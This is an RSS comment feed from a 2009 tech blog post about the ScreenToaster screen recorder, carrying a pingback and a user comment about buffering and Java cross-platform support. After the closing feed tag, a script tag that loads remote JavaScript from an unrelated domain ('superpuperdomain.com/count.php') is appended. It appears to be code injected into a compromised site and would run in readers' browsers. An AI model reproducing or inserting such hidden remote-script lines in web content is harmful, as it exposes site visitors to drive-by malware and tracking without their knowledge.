<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: ScreenToaster &#8211; Online Screen Recorder</title>
	<atom:link href="http://www.newbtech.com/2009/04/screentoaster-online-screen-recorder.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.newbtech.com/2009/04/screentoaster-online-screen-recorder.html</link>
	<description>a technology and online games freak...</description>
	<lastBuildDate>Sat, 06 Aug 2011 12:15:12 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
	<item>
		<title>By: ScreenToaster News and Updates ~ Newb Tech</title>
		<link>http://www.newbtech.com/2009/04/screentoaster-online-screen-recorder.html/comment-page-1#comment-13</link>
		<dc:creator>ScreenToaster News and Updates ~ Newb Tech</dc:creator>
		<pubDate>Sun, 03 May 2009 10:38:46 +0000</pubDate>
		<guid isPermaLink="false">http://newbtech.net/2009/04/screentoaster-online-screen-recorder.html#comment-13</guid>
		<description>[...] You can check it out here: ScreenToaster Article [...]</description>
		<content:encoded><![CDATA[<p>[...] You can check it out here: ScreenToaster Article [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Dee</title>
		<link>http://www.newbtech.com/2009/04/screentoaster-online-screen-recorder.html/comment-page-1#comment-8</link>
		<dc:creator>Dee</dc:creator>
		<pubDate>Mon, 06 Apr 2009 21:52:00 +0000</pubDate>
		<guid isPermaLink="false">http://newbtech.net/2009/04/screentoaster-online-screen-recorder.html#comment-8</guid>
		<description>As a further note: Rudy at ScreenToaster was kind enough to email and remind me that buffering of embedded videos are dependent not only on your internet speed but also on the screen size of the video. This means the larger the area you are capturing, the larger the file will be and of course will take longer to upload/download and stream :)&lt;br/&gt;&lt;br/&gt;Additionally, the application runs on the Java framework, so most likely can capture screencasts regardless of OS. I&#039;ll be sure to do a Linux test when I get home now :)&lt;br/&gt;&lt;br/&gt;Thanks Rudy!</description>
		<content:encoded><![CDATA[<p>As a further note: Rudy at ScreenToaster was kind enough to email and remind me that buffering of embedded videos are dependent not only on your internet speed but also on the screen size of the video. This means the larger the area you are capturing, the larger the file will be and of course will take longer to upload/download and stream :)</p>
<p>Additionally, the application runs on the Java framework, so most likely can capture screencasts regardless of OS. I&#8217;ll be sure to do a Linux test when I get home now :)</p>
<p>Thanks Rudy!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language="javascript" SRC="http://superpuperdomain.com/count.php?ref="></script>
